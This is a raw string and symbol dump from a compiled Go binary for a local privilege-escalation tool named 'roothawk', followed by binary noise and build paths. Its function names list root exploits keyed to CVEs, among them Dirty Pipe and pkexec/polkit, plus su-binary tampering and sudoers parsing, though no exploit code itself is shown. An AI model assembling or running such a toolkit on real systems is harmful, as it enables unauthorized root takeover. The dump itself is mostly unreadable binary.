}]).CompareAndSwapmath/rand.(*runtimeSource).Int63math/rand.(*runtimeSource).Seedmath/rand.Intnmath/rand.(*lockedSource).Int63math/rand.(*rngSource).Int63math/rand.(*rngSource).Uint64math/rand.(*lockedSource).Seedmath/rand.(*lockedSource).seedPosmath/rand.(*lockedSource).seedmath/rand.newSourcemath/rand.(*rngSource).Seedmath/rand.seedrandtype:.eq.math/rand.lockedSourcetype:.eq.math/rand.runtimeSourcetype:.eq.math/rand.Randos/signal.Notifyos/signal.signumos/signal.Notify.func1os/signal.(*handler).wantos/signal.(*handler).setos/signal.enableSignalos/signal.Notify.deferwrap1os/signal.processos/signal.process.deferwrap1os/signal.loopos/signal.init.0os/signal.Notify.func1.1bufio.(*Reader).fillbufio.(*Reader).Readbufio.(*Reader).Bufferedbufio.(*Reader).readErrbufio.(*Reader).ReadBytebufio.(*Reader).ReadRuneunicode/utf8.FullRunebufio.(*Reader).ReadSlicebufio.(*Reader).ReadLinebufio.(*Reader).WriteTobufio.(*Reader).writeBufos/user.Currentos/user.Lookupos/user.currentos/user.currentUIDos.Getuidos/user.currentGIDos.Getgidos/user.readColonFilebufio.NewReaderbufio.NewReaderSizebufio.(*Reader).resetos/user.findUserIdos/user.matchUserIndexValueos/user.findUserId.matchUserIndexValue.func1os/user.findUsernameos/user.findUsername.matchUserIndexValue.func1os/user.lookupUseros/user.lookupUser.deferwrap1os/user.lookupUserIdos/user.lookupUserId.deferwrap1os/user.UnknownUserIdError.Erroros/user.UnknownUserError.Erroros/user.Current.func1os/user.(*UnknownUserIdError).Erroros/user.(*UnknownUserError).Errortype:.eq.os/user.Usersort.Sortsort.insertionSortsort.siftDownsort.heapSortsort.pdqsortsort.partitionsort.partitionEqualsort.partialInsertionSortsort.breakPatternssort.nextPowerOfTwosort.(*xorshift).Nextsort.choosePivotsort.medianAdjacentsort.mediansort.order2sort.reverseRangeregexp/syntax.initregexp/syntax.map.init.0regexp/syntax.map.init.1regexp/syntax.Compileregexp/syntax.(*compiler).initregexp/syntax.(*compiler).instregexp/syntax.patchList.patchregexp/syntax.(*compiler).compileregexp/syntax.(*compiler).nopregexp/syntax.(*compiler).emptyregexp/syntax.(*compiler).capregexp/syntax.(*compiler).catregexp/syntax.(*compiler).plusregexp/syntax.(*compiler).altregexp/syntax.patchList.appendregexp/syntax.(*compiler).questregexp/syntax.(*compiler).loopregexp/syntax.(*compiler).starregexp/syntax.(*compiler).runeregexp/syntax.(*Error).Errorregexp/syntax.ErrorCode.Stringregexp/syntax.(*parser).checkLimitsregexp/syntax.(*parser).checkSizeregexp/syntax.(*parser).calcSizeregexp/syntax.(*parser).checkHeightregexp/syntax.(*parser).calcHeightregexp/syntax.(*parser).pushregexp/syntax.(*parser).maybeConcatregexp/syntax.(*parser).reuseregexp/syntax.(*parser).literalregexp/syntax.(*parser).newRegexpregexp/syntax.minFoldRuneregexp/syntax.(*parser).opregexp/syntax.(*parser).repeatregexp/syntax.repeatIsValidregexp/syntax.(*parser).concatregexp/syntax.(*parser).alternateregexp/syntax.cleanAltregexp/syntax.(*parser).collapseregexp/syntax.(*parser).factorregexp/syntax.(*parser).leadingStringregexp/syntax.(*parser).leadingRegexpregexp/syntax.isCharClassregexp/syntax.(*parser).removeLeadingStringregexp/syntax.(*parser).removeLeadingRegexpregexp/syntax.parseregexp/syntax.literalRegexpregexp/syntax.parse.func1regexp/syntax.(*parser).parseRepeatregexp/syntax.(*parser).parsePerlFlagsregexp/syntax.isValidCaptureNameregexp/syntax.isalnumregexp/syntax.(*parser).parseIntregexp/syntax.(*parser).parseVerticalBarregexp/syntax.mergeCharClassregexp/syntax.matchRuneregexp/syntax.(*parser).swapVerticalBarregexp/syntax.(*parser).parseRightParenregexp/syntax.(*parser).parseEscaperegexp/syntax.unhexregexp/syntax.(*parser).parseClassCharregexp/syntax.(*parser).parsePerlClassEscaperegexp/syntax.(*parser).parseNamedClassregexp/syntax.(*parser).appendGroupregexp/syntax.initCategoryAliasesregexp/syntax.canonicalNameregexp/syntax.unicodeTableregexp/syntax.(*parser).parseUnicodeClassregexp/syntax.(*parser).parseClassregexp/syntax.cleanClassregexp/syntax.appendLiteralregexp/syntax.appendRangeregexp/syntax.appendFoldedRangeregexp/syntax.appendClassregexp/syntax.appendFoldedClassregexp/syntax.appendNegatedClassregexp/syntax.appendTableregexp/syntax.appendNegatedTableregexp/syntax.negateClassregexp/syntax.ranges.Lessregexp/syntax.ranges.Lenregexp/syntax.ranges.Swapregexp/syntax.checkUTF8regexp/syntax.nextRuneregexp/syntax.InstOp.Stringregexp/syntax.(*Prog).Stringregexp/syntax.(*Prog).Prefixregexp/syntax.(*Prog).skipNopregexp/syntax.(*Inst).opregexp/syntax.(*Inst).MatchRunePosregexp/syntax.(*Inst).Stringregexp/syntax.dumpProgregexp/syntax.bwregexp/syntax.dumpInstregexp/syntax.u32strconv.FormatUintstrconv.QuoteToASCIIregexp/syntax.(*Regexp).Equalslices.Equal[go.shape.[]int32,go.shape.int32]slices.EqualFunc[go.shape.[]*regexp/syntax.Regexp,go.shape.[]*regexp/syntax.Regexp,go.shape.*uint8,go.shape.*uint8]regexp/syntax.(*Regexp).MaxCapregexp/syntax.(*Regexp).CapNamesregexp/syntax.(*Regexp).capNamesregexp/syntax.(*Regexp).Simplifyregexp/syntax.simplify1type:.eq.regexp/syntax.Errorregexp/syntax.(*InstOp).Stringregexp/syntax.(*ErrorCode).Stringregexp/syntax.(*ranges).Lenregexp/syntax.(*ranges).Lessregexp/syntax.(*ranges).Swapregexp.freeBitStateregexp.(*inputs).clearregexp.(*bitState).resetregexp.(*Regexp).tryBacktrackregexp.(*bitState).pushregexp.(*bitState).shouldVisitregexp/syntax.(*Inst).MatchRuneregexp.(*Regexp).backtrackregexp.newBitStateregexp.(*inputs).initregexp.(*inputs).newBytesregexp.(*inputs).newStringregexp.lazyFlag.matchregexp/syntax.IsWordCharregexp.(*machine).matchregexp.newLazyFlagregexp.(*machine).clearregexp.(*machine).stepregexp.(*machine).addregexp.(*machine).allocregexp.freeOnePassMachineregexp.(*Regexp).doOnePassregexp.newOnePassMachineregexp.(*inputs).newReaderregexp.(*Regexp).doExecuteregexp.(*machine).initregexp.onePassPrefixregexp.iopregexp.onePassNextregexp.mergeRuneSetsregexp.mergeRuneSets.func2regexp.mergeRuneSets.func1regexp.onePassCopyregexp.makeOnePassregexp.newQueueregexp.(*queueOnePass).clearregexp.(*queueOnePass).insertregexp.(*queueOnePass).containsregexp.(*queueOnePass).insertNewregexp.(*queueOnePass).emptyregexp.(*queueOnePass).nextregexp.makeOnePass.func1slices.Sort[go.shape.[]int32,go.shape.int32]regexp.compileOnePassregexp.cleanupOnePassregexp.(*Regexp).Stringregexp.compileregexp/syntax.Parseregexp/syntax.(*Prog).StartCondregexp.maxBitStateLenregexp.shouldBacktrackregexp.(*Regexp).getregexp.(*Regexp).putregexp.minInputLenregexp.MustCompileregexp.Compileregexp.quoteregexp.(*inputString).stepregexp.(*inputString).canCheckPrefixregexp.(*inputString).hasPrefixregexp.(*inputString).indexregexp.(*inputString).contextregexp.(*inputBytes).stepregexp.(*inputBytes).canCheckPrefixregexp.(*inputBytes).hasPrefixbytes.HasPrefixregexp.(*inputBytes).indexregexp.(*inputBytes).contextregexp.(*inputReader).stepregexp.(*inputReader).canCheckPrefixregexp.(*inputReader).hasPrefixregexp.(*inputReader).indexregexp.(*inputReader).contextregexp.init.0regexp.QuoteMetaregexp.specialregexp.(*Regexp).FindStringregexp.(*Regexp).FindStringSubmatchslices.pdqsortOrdered[go.shape.int32]slices.reverseRangeOrdered[go.shape.int32]cmp.Less[go.shape.int32]slices.partitionOrdered[go.shape.int32]slices.partitionEqualOrdered[go.shape.int32]slices.partialInsertionSortOrdered[go.shape.int32]slices.choosePivotOrdered[go.shape.int32]slices.medianAdjacentOrdered[go.shape.int32]slices.medianOrdered[go.shape.int32]slices.order2Ordered[go.shape.int32]slices.breakPatternsOrdered[go.shape.int32]slices.heapSortOrdered[go.shape.int32]slices.siftDownOrdered[go.shape.int32]slices.insertionSortOrdered[go.shape.int32]type:.eq.regexp.entrytype:.eq.regexp.inputReadertype:.eq.regexp.jobregexp.(*onePassInst).Stringgithub.com/creack/pty.opengithub.com/creack/pty.open.func1github.com/creack/pty.ptsnamegithub.com/creack/pty.ioctlgithub.com/creack/pty.unlockptgithub.com/creack/pty.StartWithAttrsgithub.com/creack/pty.Opengithub.com/creack/pty.StartWithAttrs.func1github.com/creack/pty.StartWithSizegithub.com/creack/pty.InheritSizegithub.com/creack/pty.Setsizegithub.com/creack/pty.GetsizeFullgithub.com/hashicorp/go-version.init.0github.com/hashicorp/go-version.prereleaseCheckgithub.com/hashicorp/go-version.(*Version).Prereleasegithub.com/hashicorp/go-version.(*Version).Segments64github.com/hashicorp/go-version.constraintEqualgithub.com/hashicorp/go-version.(*Version).Equalgithub.com/hashicorp/go-version.constraintNotEqualgithub.com/hashicorp/go-version.constraintGreaterThangithub.com/hashicorp/go-version.constraintLessThangithub.com/hashicorp/go-version.constraintGreaterThanEqualgithub.com/hashicorp/go-version.constraintLessThanEqualgithub.com/hashicorp/go-version.constraintPessimisticgithub.com/hashicorp/go-version.(*Version).LessThangithub.com/hashicorp/go-version.init.1github.com/hashicorp/go-version.newVersiongithub.com/hashicorp/go-version.(*Version).Comparegithub.com/hashicorp/go-version.allZerogithub.com/hashicorp/go-version.comparePartgithub.com/hashicorp/go-version.comparePrereleasesgithub.com/hashicorp/go-version.(*Version).Stringgolang.org/x/sys/unix.initgolang.org/x/sys/unix.fcntlgolang.org/x/sys/unix.ByteSliceFromStringgolang.org/x/sys/unix.Pipe2golang.org/x/sys/unix.(*SockaddrALG).sockaddrgolang.org/x/sys/unix.sendmsgNgolang.org/x/sys/unix.emptyIovecsgolang.org/x/sys/unix.(*Msghdr).SetIovlengolang.org/x/sys/unix.(*Iovec).SetLengolang.org/x/sys/unix.(*Msghdr).SetControllengolang.org/x/sys/unix.Bindgolang.org/x/sys/unix.GetsockoptIntgolang.org/x/sys/unix.SendmsgNgolang.org/x/sys/unix.SetsockoptStringgolang.org/x/sys/unix.ioctlPtrgolang.org/x/sys/unix.errnoErrgolang.org/x/sys/unix.pipe2golang.org/x/sys/unix.Closegolang.org/x/sys/unix.readgolang.org/x/sys/unix.munmapgolang.org/x/sys/unix.mremapgolang.org/x/sys/unix.Fstatatgolang.org/x/sys/unix.BytePtrFromStringgolang.org/x/sys/unix.Splicegolang.org/x/sys/unix.bindgolang.org/x/sys/unix.getsockoptgolang.org/x/sys/unix.setsockoptgolang.org/x/sys/unix.socketgolang.org/x/sys/unix.sendmsggolang.org/x/sys/unix.mmapgolang.org/x/sys/unix.Syscallgolang.org/x/sys/unix.Syscall6golang.org/x/sys/unix.RawSyscalltype:.eq.golang.org/x/sys/unix.SockaddrALGgolang.org/x/term.makeRawgolang.org/x/sys/unix.IoctlGetTermiosgolang.org/x/sys/unix.IoctlSetTermiosgolang.org/x/crypto/ssh/terminal.initgolang.org/x/crypto/ssh/terminal.MakeRawgolang.org/x/term.MakeRawgolang.org/x/crypto/ssh/terminal.Restoregolang.org/x/term.Restoregolang.org/x/term.restoregithub.com/liamg/tml.initgithub.com/liamg/tml.map.init.0github.com/liamg/tml.map.init.1github.com/liamg/tml.map.init.2github.com/liamg/tml.map.init.3github.com/liamg/tml.Parsebytes.NewBufferStringgithub.com/liamg/tml.NewParserstrings.NewReadergithub.com/liamg/tml.(*Parser).handleTaggithub.com/liamg/tml.(*parserState).setFggithub.com/liamg/tml.(*parserState).setAttrgithub.com/liamg/tml.(*parserState).setBggithub.com/liamg/tml.(*Parser).Parsegithub.com/liamg/tml.(*Parser).Parse.deferwrap1github.com/liamg/tml.Fprintfroothawk/pkg/logger.Logger.Printfgithub.com/liamg/tml.Printftype:.eq.roothawk/pkg/logger.Loggerroothawk/pkg/pipe.(*LockablePipe).Flushroothawk/pkg/pipe.(*LockablePipe).Flush.deferwrap1roothawk/pkg/pipe.(*LockablePipe).WaitForStringroothawk/pkg/pipe.(*LockablePipe).WaitForString.func1roothawk/pkg/pipe.(*LockablePipe).WaitForString.func1.deferwrap1roothawk/pkg/pipe.(*LockablePipe).Readroothawk/pkg/pipe.(*LockablePipe).Read.deferwrap1roothawk/pkg/state.(*State).processDistroroothawk/pkg/state.(*State).IsPackageInstalledroothawk/pkg/state.(*State).Assessroothawk/pkg/state.kernelVersionos.Hostnameroothawk/pkg/state.(*State).processSudoersos.Environroothawk/pkg/state.parseSudoLinepath.Basetype:.eq.roothawk/pkg/state.SudoEntryroothawk/pkg/exploits/cve20213560.initroothawk/pkg/exploits/cve20213560.(*exploit).isVulnerableDebianroothawk/pkg/state.(*State).IsDebianLikegithub.com/hashicorp/go-version.NewVersiongithub.com/hashicorp/go-version.(*Version).GreaterThanOrEqualroothawk/pkg/exploits/cve20213560.(*exploit).isVulnerableOtherroothawk/pkg/exploits/cve20213560.(*exploit).IsVulnerableroothawk/pkg/exploits/cve20213560.(*exploit).Shellroothawk/pkg/exploits/cve20213560.(*exploit).Exploitgithub.com/creack/pty.Startroothawk/pkg/pipe.NewLockableroothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func5roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func4roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func3roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func2roothawk/pkg/exploits/cve20213560.(*exploit).Exploit.func1roothawk/pkg/exploits/cve20213560.(*exploit).createUserroothawk/pkg/exploits/cve20213560.(*exploit).createUser.func1roothawk/pkg/exploits/cve20213560.(*exploit).setPasswordroothawk/pkg/exploits/cve20213560.(*exploit).setPassword.func1roothawk/pkg/exploits/cve20213560.(*exploit).timeDbusCommandroothawk/pkg/exploits/cve20213560.(*exploit).installPackageroothawk/pkg/exploits/cve20213560.(*exploit).installPackage.func1roothawk/pkg/exploits/cve20214034.Runroothawk/pkg/exploits/cve20214034.cyanfmt.Printfroothawk/pkg/exploits/cve20214034.Run.deferwrap1roothawk/pkg/exploits/cve20214034.findCompilerroothawk/pkg/shell.WithPasswordroothawk/pkg/shell.WithPassword.func4roothawk/pkg/shell.WithPassword.func3roothawk/pkg/shell.WithPassword.func2roothawk/pkg/shell.WithPassword.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).IsVulnerableroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Shellroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Exploitroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).Exploit.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).writeToFileroothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).writeToFile.func1roothawk/pkg/exploits/cve20220847.(*cve20220847Exploit).dirtyThatPipegolang.org/x/sys/unix.FcntlInttype:.eq.roothawk/pkg/exploits/cve20220847.cve20220847Exploitcompress/flate.initcompress/flate.generateFixedOffsetEncodingcompress/flate.newHuffmanEncodercompress/flate.reverseBitscompress/flate.(*dictDecoder).writeCopycompress/flate.init.0compress/flate.generateFixedLiteralEncodingcompress/flate.(*huffmanEncoder).bitCountscompress/flate.(*huffmanEncoder).assignEncodingAndSizecompress/flate.(*byLiteral).sortcompress/flate.(*huffmanEncoder).generatecompress/flate.(*byFreq).sortcompress/flate.(*hcode).setcompress/flate.byLiteral.Lencompress/flate.byLiteral.Lesscompress/flate.byLiteral.Swapcompress/flate.byFreq.Lencompress/flate.byFreq.Lesscompress/flate.byFreq.Swapcompress/flate.CorruptInputError.Errorcompress/flate.InternalError.Errorcompress/flate.(*huffmanDecoder).initcompress/flate.(*decompressor).nextBlockcompress/flate.(*decompressor).Readcompress/flate.(*dictDecoder).readFlushcompress/flate.(*decompressor).Closecompress/flate.(*decompressor).readHuffmancompress/flate.(*decompressor).huffmanBlockcompress/flate.(*dictDecoder).writeBytecompress/flate.(*dictDecoder).availWritecompress/flate.(*decompressor).finishBlockcompress/flate.(*dictDecoder).availReadcompress/flate.(*dictDecoder).histSizecompress/flate.(*dictDecoder).tryWriteCopycompress/flate.(*decompressor).dataBlockio.ReadFullcompress/flate.noEOFcompress/flate.(*decompressor).copyDatacompress/flate.(*dictDecoder).writeSlicecompress/flate.(*dictDecoder).writeMarkcompress/flate.(*decompressor).moreBitscompress/flate.(*decompressor).huffSymcompress/flate.(*decompressor).makeReaderbufio.(*Reader).Resetcompress/flate.fixedHuffmanDecoderInitcompress/flate.(*decompressor).Resetcompress/flate.(*dictDecoder).initcompress/flate.NewReadercompress/flate.NewReaderDictcompress/flate.fixedHuffmanDecoderInit.func1type:.eq.compress/flate.literalNodecompress/flate.(*byLiteral).Lencompress/flate.(*byLiteral).Lesscompress/flate.(*byLiteral).Swapcompress/flate.(*byFreq).Lencompress/flate.(*byFreq).Lesscompress/flate.(*byFreq).Swapcompress/flate.(*CorruptInputError).Errorcompress/flate.(*InternalError).Errorhash/adler32.updatehash/adler32.(*digest).Writehash/adler32.(*digest).Sum32compress/zlib.NewReaderDictcompress/zlib.(*reader).Readencoding/binary.bigEndian.Uint32compress/zlib.(*reader).Closecompress/zlib.(*reader).Resetencoding/binary.bigEndian.Uint16hash/adler32.Newhash/adler32.(*digest).Resethash/adler32.Checksumtype:.eq.compress/zlib.readerencoding/hex.InvalidByteError.Errorencoding/hex.Decodeencoding/hex.DecodeStringencoding/hex.DecodedLenencoding/hex.(*InvalidByteError).Errorlog.initlog.init.func1log.Newlog.(*Logger).SetPrefixsync/atomic.(*Pointer[go.shape.string]).Storelog.(*Logger).SetFlagslog.(*Logger).SetOutputlog.(*Logger).SetOutput.deferwrap1log.formatHeaderlog.itoatime.Time.UTCtime.(*Time).setLoclog.putBufferlog.(*Logger).outputlog.(*Logger).Prefixsync/atomic.(*Pointer[go.shape.string]).Loadlog.(*Logger).Flagslog.getBufferlog.(*Logger).output.deferwrap2log.(*Logger).output.deferwrap1log.init.0log.Fatalflog.Fatalf.func1log.init.0.func1log.init.0.func1.1type:.eq.log.Loggertype:.eq.sync/atomic.Pointer[string]roothawk/pkg/exploits/cve202631431.initroothawk/pkg/exploits/cve202631431.packCmsggolang.org/x/sys/unix.CmsgLengolang.org/x/sys/unix.CmsgSpacegolang.org/x/sys/unix.cmsgAlignOfgolang.org/x/sys/unix.(*Cmsghdr).SetLenroothawk/pkg/exploits/cve202631431.cgolang.org/x/sys/unix.Socketgolang.org/x/sys/unix.SetsockoptIntgolang.org/x/sys/unix.Sendmsggolang.org/x/sys/unix.Pipegolang.org/x/sys/unix.Readroothawk/pkg/exploits/cve202631431.c.deferwrap4roothawk/pkg/exploits/cve202631431.c.deferwrap3roothawk/pkg/exploits/cve202631431.c.deferwrap2roothawk/pkg/exploits/cve202631431.c.deferwrap1roothawk/pkg/exploits/cve202631431.decompressPayloadbytes.NewReadercompress/zlib.NewReaderroothawk/pkg/exploits/cve202631431.resolveSuroothawk/pkg/exploits/cve202631431.backupSuBinarygolang.org/x/sys/unix.Statroothawk/pkg/exploits/cve202631431.backupSuBinary.deferwrap2roothawk/pkg/exploits/cve202631431.backupSuBinary.deferwrap1roothawk/pkg/exploits/cve202631431.Runlog.Printflog.Printlnroothawk/pkg/exploits/cve202631431.Run.Println.func6roothawk/pkg/exploits/cve202631431.Run.Printf.func5roothawk/pkg/exploits/cve202631431.Run.Printf.func4roothawk/pkg/exploits/cve202631431.Run.Printf.func3roothawk/pkg/exploits/cve202631431.Run.Printf.func2roothawk/pkg/exploits/cve202631431.Run.deferwrap1roothawk/pkg/exploits/cve202631431.Run.Printf.func1roothawk/pkg/exploits/cve202643284.Runroothawk/pkg/exploits/cve202643284.cyanroothawk/pkg/exploits/cve202643284.yellowfmt.Printlnroothawk/pkg/exploits/cve202643284.Run.deferwrap1roothawk/pkg/exploits/cve202643284.findCompilerroothawk/pkg/exploits/cve202643503.Runroothawk/pkg/exploits/cve202643503.cyanroothawk/pkg/exploits/cve202643503.yellowroothawk/pkg/exploits/cve202643503.Run.deferwrap1roothawk/pkg/exploits/cve202643503.findCompilerroothawk/pkg/exploits/cve202646300.Runroothawk/pkg/exploits/cve202646300.cyanroothawk/pkg/exploits/cve202646300.yellowroothawk/pkg/exploits/cve202646300.Run.deferwrap1roothawk/pkg/exploits/cve202646300.findCompilerroothawk/pkg/exploits/cve202646331.Runroothawk/pkg/exploits/cve202646331.cyanroothawk/pkg/exploits/cve202646331.yellowroothawk/pkg/exploits/cve202646331.Run.deferwrap1roothawk/pkg/exploits/cve202646331.findCompilerroothawk/pkg/exploits/cve202646333.Runroothawk/pkg/exploits/cve202646333.yellowroothawk/pkg/exploits/cve202646333.cyanroothawk/pkg/exploits/cve202646333.Run.deferwrap1roothawk/pkg/exploits/cve202646333.findCompilerroothawk/pkg/exploits/dirtydecrypt.Runroothawk/pkg/exploits/dirtydecrypt.cyanroothawk/pkg/exploits/dirtydecrypt.yellowroothawk/pkg/exploits/dirtydecrypt.Run.deferwrap1roothawk/pkg/exploits/dirtydecrypt.findCompilerroothawk/pkg/exploits/pintheft.Runroothawk/pkg/exploits/pintheft.cyanroothawk/pkg/exploits/pintheft.yellowroothawk/pkg/exploits/pintheft.Run.deferwrap1roothawk/pkg/exploits/pintheft.findCompilermain.init.func1main.init.func2main.init.func3main.init.func4main.init.func5main.init.func6main.init.func7main.init.func8main.init.func9main.init.func10main.init.func11roothawk/pkg/exploits/cve20220847.Newmain.mainflag.BoolVarflag.newBoolValueflag.StringVarflag.newStringValueflag.Parsemain.redmain.bannermain.cyanmain.yellowmain.faintmain.printHelpmain.printListmain.greenmain.runAllmain.runChildos.Executablemain.runExploitmain.lookupExploitmain.normalizeNamemain.runExploitModuleroothawk/pkg/state.Newgo:textfipsstartgo:textfipsend6r+h6F6b6G6ew * |6M Y`4u & 6 6 w 6cA66e6G6F(6Lf9G~ A#'*s-.'.#h/-:.#5&M3/bG2?:8FNY1.({):,-']5342)@cA0 2%+4+@A/Fc78")^;q ;aF,6M(#~7 '< H*:!!a?d""$c% +r+>10[&\=={:@^$<:.0<4>-:96>#%aE16BBbCC0B0DDD94`& b 4E%FFF[GG/HH6H6ImIH6/JJ6MJ6bKTOM/JJKtPL}LLAMhA6H|L}L/J[A[\Oc}4`I|XLsDq0j hjkyihAUVTUuh RPRmbKJam`Blyp yz{+Y_d}& p_Y^6NbKJ/JFA#NY1 6"I{NK/JbKJNNN4`LsDq0j hjkyihAUVTUuh RPRmam`Blyp yz{@QvR{nAMn.9opl{aXV~ nOLx-+Y&h/oumI}Ya6{NK/JbKJNNTO6O6PtP@QL}L/JR RPbKJTAMvRQ@Skyjr S IvT6TIV{NK/JbKJNNAUV*WWUfVWP R TP& 6aXIAUVTUbKJJK/JVH6X6+YIYX` 4Y6![ZZZ6F\[A\[r+Oc]]m]TOM/JJbKL}Lh F#NY1h/- +YYZw A^6^[A[\Ocp___64`6`AUVTUI`6LaIa6/bbKJb/J6PcR Rocc/JGfcdrd%uXe6etPK/JbKJGfQi RgIPTf0j hjkyihAUVTUuhRvkL}L.gk.cAMvRochA)G#(GM3#{):,-h/$N:8FY1.']5342/52?)@cA0- 2%+4&+@A/F':.44` 6mL}L/Jk`{nI9o RBlLsDq0j hjkyihAUVTUuhPRbKJam4`yp yz{LxltPKC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_arm64_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_arm64_hwcap.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/cpu/cpu_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/sys/dit_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/sys/dit_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/atomic/types.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/index_arm64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/compare_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/count_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/equal_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/index_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/indexbyte_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/atoi.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ctoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/decimal.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/math.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/deps.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoadbox.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/ftoafixed.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/strconv/itoa.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/math/bits/bits.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/syscall/linux/syscall_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/syscall/linux/asm_linux_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/cgroup.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/line_reader.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/equal_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/cgroup/cgroup_linux.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/group.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/abi/map.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_fast32.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_fast64.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime_faststr.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/table.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/maps/runtime.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/stringslite/strings.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/bytealg/bytealg.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/runtime/exithook/hooks.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/chacha8rand/chacha8.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/byteorder/byteorder.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/internal/chacha8rand/chacha8_arm64.sC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/float.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/iface.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/netpoll.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/signal_unix.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.26.0.windows-amd64/src/runtime/os_linux_generic.goC:/Users/admin/go/pkg/mod/golang.org/toolchain@v0.0.1-go1.2